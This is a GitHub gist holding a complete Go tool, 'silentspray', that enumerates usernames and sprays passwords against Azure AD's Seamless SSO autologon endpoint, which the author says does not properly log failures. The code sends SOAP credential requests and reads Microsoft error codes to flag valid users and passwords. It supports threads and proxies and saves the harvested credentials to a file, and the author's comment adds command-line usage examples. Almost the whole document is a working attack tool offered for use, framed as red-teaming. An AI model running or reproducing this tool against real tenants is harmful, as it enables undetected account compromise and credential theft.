Skip to content

Instantly share code, notes, and snippets.

@sofianeelhor
Last active February 26, 2025 16:38
Show Gist options
  • Save sofianeelhor/5670fafb384a874db2c04571fb5cfff6 to your computer and use it in GitHub Desktop.
Save sofianeelhor/5670fafb384a874db2c04571fb5cfff6 to your computer and use it in GitHub Desktop.
This tool leverages a flaw in the Azure AD Seamless SSO service. Failed authentication attempts using the autologon endpoint aren't properly logged, allowing for (undetected?) username probing and password spray attacks. Ideal for red teaming
//https://www.secureworks.com/research/undetected-azure-active-directory-brute-force-attacks
package main
import (
"bufio"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"strings"
"sync"
"time"
"github.com/akamensky/argparse"
"github.com/fatih/color"
)
type Config struct {
UserInput string
PassInput string
OutputFile string
ProxyURL string
Threads int
Delay int
Verbose bool
}
type Result struct {
User string
Password string
UserExists bool
PasswordCorrect bool
Message string
ResponseData string
}
var (
successColor = color.New(color.FgGreen, color.Bold).SprintFunc()
validColor = color.New(color.FgBlue).SprintFunc()
invalidColor = color.New(color.FgRed).SprintFunc()
warningColor = color.New(color.FgYellow).SprintFunc()
infoColor = color.New(color.FgCyan).SprintFunc()
)
func main() {
parser := argparse.NewParser("spray", "Azure AD password sprayer - Exploits the Seamless SSO vulnerability")
userArg := parser.String("u", "user", &argparse.Options{
Required: false,
Help: "Username or file containing usernames",
})
passArg := parser.String("p", "password", &argparse.Options{
Required: false,
Help: "Password or file containing passwords",
})
outputArg := parser.String("o", "output", &argparse.Options{
Required: false,
Help: "Output file for valid results",
})
proxyArg := parser.String("x", "proxy", &argparse.Options{
Required: false,
Help: "Proxy URL (e.g., http://proxy.example.com:8080)",
})
threadsArg := parser.Int("t", "threads", &argparse.Options{
Required: false,
Help: "Number of concurrent threads",
Default: 10,
})
delayArg := parser.Int("d", "delay", &argparse.Options{
Required: false,
Help: "Delay between requests in milliseconds",
Default: 0,
})
verboseArg := parser.Flag("v", "verbose", &argparse.Options{
Required: false,
Help: "Verbose output",
Default: false,
})
err := parser.Parse(os.Args)
if err != nil {
fmt.Print(parser.Usage(err))
os.Exit(1)
}
if *userArg == "" {
fmt.Println(invalidColor("[-] Error: Username or user file is required (-u)"))
fmt.Print(parser.Usage(nil))
os.Exit(1)
}
config := Config{
UserInput: *userArg,
PassInput: *passArg,
OutputFile: *outputArg,
ProxyURL: *proxyArg,
Threads: *threadsArg,
Delay: *delayArg,
Verbose: *verboseArg,
}
runSpray(config)
}
func runSpray(config Config) {
// Process users file or single user
users := getInputAsList(config.UserInput)
if len(users) == 0 {
fmt.Println(invalidColor("[-] No valid users to process"))
os.Exit(1)
}
// Process passwords file or single password
var passwords []string
if config.PassInput != "" {
passwords = getInputAsList(config.PassInput)
if len(passwords) == 0 {
fmt.Println(invalidColor("[-] No valid passwords to process"))
os.Exit(1)
}
fmt.Printf("%s\n", infoColor(fmt.Sprintf("[*] Starting spray with %d user(s) and %d password(s)", len(users), len(passwords))))
} else {
// User enumeration mode - using an empty password
passwords = []string{""}
fmt.Printf("%s\n", infoColor(fmt.Sprintf("[*] Starting user enumeration for %d user(s)", len(users))))
}
var wg sync.WaitGroup
semaphore := make(chan struct{}, config.Threads)
results := make([]Result, 0) // Store all results
// Mutex for accessing results array
var resultsMutex sync.Mutex
// Process each combination
for _, user := range users {
for _, pass := range passwords {
wg.Add(1)
semaphore <- struct{}{}
go func(u, p string) {
defer func() {
<-semaphore
wg.Done()
}()
// Extract domain from email #http://golangcookbook.com/chapters/strings/split/
domain := ""
if parts := strings.Split(u, "@"); len(parts) == 2 {
domain = parts[1]
} else {
result := Result{
User: u,
Password: p,
UserExists: false,
Message: "Invalid email format",
}
displayResult(result)
resultsMutex.Lock()
results = append(results, result)
resultsMutex.Unlock()
return
}
result := testCredentials(u, p, domain, config.ProxyURL, config.Verbose)
displayResult(result)
resultsMutex.Lock()
results = append(results, result)
resultsMutex.Unlock()
if config.Delay > 0 {
time.Sleep(time.Duration(config.Delay) * time.Millisecond)
} else {
time.Sleep(time.Duration(50) * time.Millisecond)
}
}(user, pass)
}
}
wg.Wait()
if config.OutputFile != "" {
processResultsToFile(results, config.OutputFile)
}
fmt.Println(infoColor("[*] Operation completed"))
}
func getInputAsList(input string) []string {
// Check if input is a file
if _, err := os.Stat(input); err == nil {
file, err := os.Open(input)
if err != nil {
fmt.Printf("%s\n", invalidColor(fmt.Sprintf("[-] Error opening file %s: %s", input, err)))
return nil
}
defer file.Close()
var lines []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" {
lines = append(lines, line)
}
}
if err := scanner.Err(); err != nil {
fmt.Printf("%s\n", invalidColor(fmt.Sprintf("[-] Error reading file %s: %s", input, err)))
}
return lines
}
return []string{input}
}
func testCredentials(username, password, domain, proxyURL string, verbose bool) Result {
result := Result{
User: username,
Password: password,
UserExists: false,
PasswordCorrect: false,
}
targetURL := "https://autologon.microsoftazuread-sso.com/" + domain + "/winauth/trust/2005/usernamemixed?client-request-id=" + generateUUID()
// Build the SOAP request
currentTime := time.Now().Format(time.RFC3339Nano)
expiryTime := time.Now().Add(time.Minute*10).Format(time.RFC3339Nano)
messageID := generateUUID()
body := strings.NewReader(fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
<a:MessageID>urn:uuid:%s</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">%s</a:To>
<o:Security xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" s:mustUnderstand="1">
<u:Timestamp u:Id="_0">
<u:Created>%s</u:Created>
<u:Expires>%s</u:Expires>
</u:Timestamp>
<o:UsernameToken u:Id="uuid-ec4527b8-bbb0-4cbb-88cf-abe27fe60977">
<o:Username>%s</o:Username>
<o:Password>%s</o:Password>
</o:UsernameToken>
</o:Security>
</s:Header>
<s:Body>
<trust:RequestSecurityToken xmlns:trust="http://schemas.xmlsoap.org/ws/2005/02/trust">
<wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy">
<a:EndpointReference>
<a:Address>urn:federation:MicrosoftOnline</a:Address>
</a:EndpointReference>
</wsp:AppliesTo>
<trust:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</trust:KeyType>
<trust:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</trust:RequestType>
</trust:RequestSecurityToken>
</s:Body>
</s:Envelope>`, messageID, targetURL, currentTime, expiryTime, username, password))
client := &http.Client{
Timeout: 30 * time.Second,
}
if proxyURL != "" {
proxy, err := url.Parse(proxyURL)
if err != nil {
result.Message = fmt.Sprintf("Invalid proxy URL: %s", err)
return result
}
client.Transport = &http.Transport{
Proxy: http.ProxyURL(proxy),
}
}
req, err := http.NewRequest("POST", targetURL, body)
if err != nil {
result.Message = fmt.Sprintf("Error creating request: %s", err)
return result
}
req.Header.Set("Content-Type", "application/soap+xml; charset=utf-8")
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36")
resp, err := client.Do(req)
if err != nil {
result.Message = fmt.Sprintf("Error sending request: %s", err)
return result
}
defer resp.Body.Close()
responseData, err := ioutil.ReadAll(resp.Body)
if err != nil {
result.Message = fmt.Sprintf("Error reading response: %s", err)
return result
}
responseStr := string(responseData)
result.ResponseData = responseStr
if verbose {
fmt.Printf("%s\n", infoColor(fmt.Sprintf("[DEBUG] Response for %s: %s", username, resp.Status)))
if len(responseStr) > 1000 {
fmt.Printf("%s\n", infoColor(fmt.Sprintf("[DEBUG] Response body snippet (first 1000 chars): %s...", responseStr[:1000])))
} else {
fmt.Printf("%s\n", infoColor(fmt.Sprintf("[DEBUG] Response body: %s", responseStr)))
}
}
// tofix: Check for DesktopSsoToken which is an explicit indicator of valid credentials
if strings.Contains(responseStr, "DesktopSsoToken") {
result.UserExists = true
result.PasswordCorrect = true
result.Message = "Valid credentials"
return result
}
if strings.Contains(responseStr, "AADSTS50126") {
result.UserExists = true
result.PasswordCorrect = false
result.Message = "User exists, password incorrect"
return result
}
if strings.Contains(responseStr, "AADSTS50034") {
result.UserExists = false
result.Message = "User does not exist"
return result
}
if strings.Contains(responseStr, "wst:FailedAuthentication") {
result.UserExists = true
result.PasswordCorrect = false
result.Message = "Authentication failed (user exists)"
return result
}
result.UserExists = false
result.Message = "Unknown response (assuming user doesn't exist)"
return result
}
func displayResult(result Result) {
if result.UserExists && result.PasswordCorrect {
fmt.Printf("%s\n", successColor(fmt.Sprintf("[+] SUCCESS %s:%s", result.User, result.Password)))
} else if result.UserExists {
fmt.Printf("%s\n", validColor(fmt.Sprintf("[+] found valid user %s", result.User)))
if result.Password != "" && !result.PasswordCorrect {
fmt.Printf("%s\n", invalidColor("[-] Password Incorrect"))
}
} else {
fmt.Printf("%s\n", invalidColor(fmt.Sprintf("[-] invalid user %s", result.User)))
}
}
// processResultsToFile processes the results and writes them to a file
func processResultsToFile(results []Result, outputFile string) {
var validUsers []string
var validCreds []string
for _, result := range results {
if result.UserExists && result.PasswordCorrect {
// Valid credentials
validCreds = append(validCreds, fmt.Sprintf("%s:%s", result.User, result.Password))
} else if result.UserExists {
// Valid user
validUsers = append(validUsers, result.User)
}
}
if len(validUsers) == 0 && len(validCreds) == 0 {
fmt.Printf("%s\n", warningColor("[!] No valid users or credentials found to write to file"))
return
}
file, err := os.Create(outputFile)
if err != nil {
fmt.Printf("%s\n", invalidColor(fmt.Sprintf("[-] Error creating output file: %s", err)))
return
}
defer file.Close()
if len(validUsers) > 0 {
file.WriteString("# Valid Users\n")
for _, user := range validUsers {
file.WriteString(user + "\n")
}
}
if len(validCreds) > 0 {
if len(validUsers) > 0 {
file.WriteString("\n")
}
file.WriteString("# Valid Credentials\n")
for _, cred := range validCreds {
file.WriteString(cred + "\n")
}
}
fmt.Printf("%s\n", infoColor(fmt.Sprintf("[*] Results written to %s", outputFile)))
}
// I actually have no idea how this works, but it generates a UUID, thx to https://play.golang.org/p/4FkNSiUDMg
func generateUUID() string {
now := time.Now().UnixNano()
return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x",
now&0xffffffff,
now&0xffff,
0x4000|(now&0xfff),
0x8000|(now&0x3fff),
now)
}
@sofianeelhor
Copy link
Author

./silentspray -u [email protected]
[+] found valid user [email protected]

./silentspray -u users.txt
[-] invalid user [email protected]
...
[+] found valid user [email protected]

./silentspray -u users.txt -o users_probed.txt
[-] invalid user [email protected]
...
[+] found valid user [email protected]

./silentspray -u users.txt -p 'S3cr3t!pass'

./silentspray -u '[email protected]' -p passlist.txt

./silentspray -u users.txt -p passlist.txt -x 'proxy.example.com:8080' -v -t 10 -d 2000

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment